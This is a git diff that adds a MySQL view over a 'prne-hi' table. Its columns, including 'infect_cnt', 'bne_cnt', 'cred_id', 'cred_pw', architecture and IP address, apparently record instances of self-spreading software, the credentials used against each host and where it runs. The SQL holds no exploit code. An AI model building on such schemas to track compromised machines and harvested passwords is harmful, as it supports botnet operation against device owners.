diff options
Diffstat (limited to 'src/data/sql/hi-create.sql')
| -rw-r--r-- | src/data/sql/hi-create.sql | 21 |
1 files changed, 21 insertions, 0 deletions
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql index 1887d04..b173aaa 100644 --- a/src/data/sql/hi-create.sql +++ b/src/data/sql/hi-create.sql @@ -17,3 +17,24 @@ CREATE TABLE `prne-hi` ( `ipaddr` binary(16) DEFAULT NULL, PRIMARY KEY (`instance_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE VIEW `prne`.`prne-hi-view` AS + SELECT + HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`, + `prne`.`prne-hi`.`inserted` AS `inserted`, + `prne`.`prne-hi`.`updated` AS `updated`, + `prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`, + `prne`.`prne-hi`.`child_uptime` AS `child_uptime`, + `prne`.`prne-hi`.`bne_cnt` AS `bne_cnt`, + `prne`.`prne-hi`.`infect_cnt` AS `infect_cnt`, + `prne`.`prne-hi`.`parent_pid` AS `parent_pid`, + `prne`.`prne-hi`.`child_pid` AS `child_pid`, + HEX(`prne`.`prne-hi`.`prog_ver`) AS `HEX(prog_ver)`, + HEX(`prne`.`prne-hi`.`boot_id`) AS `HEX(boot_id)`, + `prne`.`prne-hi`.`cred_id` AS `cred_id`, + `prne`.`prne-hi`.`cred_pw` AS `cred_pw`, + `prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`, + `prne`.`prne-hi`.`arch` AS `arch`, + INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)` + FROM + `prne`.`prne-hi`; |